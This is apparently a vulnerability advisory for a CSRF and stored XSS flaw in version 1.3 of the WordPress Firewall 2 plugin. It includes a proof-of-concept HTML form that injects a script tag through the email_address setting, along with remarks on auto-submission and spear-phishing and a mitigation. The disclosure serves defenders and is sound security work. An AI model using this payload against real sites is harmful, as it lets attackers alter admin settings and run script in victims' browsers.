vendor:
WordPress Firewall 2
by:
Tom Adams
5,8
CVSS
MEDIUM
CSRF/stored XSS
791
CWE
Product Name: WordPress Firewall 2
Affected Version From: 1.3
Affected Version To: 1.3
Patch Exists: NO
Related CWE: Awaiting assignment
CPE: a:wordpress:wordpress_firewall_2
Metasploit:
N/A
Other Scripts:
N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References:
N/A
Nuclei Metadata: N/A
Platforms Tested: None
2016
CSRF/stored XSS in WordPress Firewall 2 allows unauthenticated attackers to do almost anything an admin can
HTML is not escaped and there is no CSRF prevention, meaning attackers can put arbitrary HTML content onto the settings page. Visit the following page, click on the submit button, then visit the plugin’s options page: <form method="POST" action="http://localhost/wp-admin/options-general.php?page=wordpress-firewall-2%2Fwordpress-firewall-2.php"> <input type="text" name="email_address" value=""><script>alert(1)</script>"> <input type="text" name="set_email" value="Set Email"> <input type="submit"> </form> In a real attack, forms can be submitted automatically and spear-phishing attacks can be convincing.
Mitigation:
Disable the plugin until a new version is released that fixes this bug.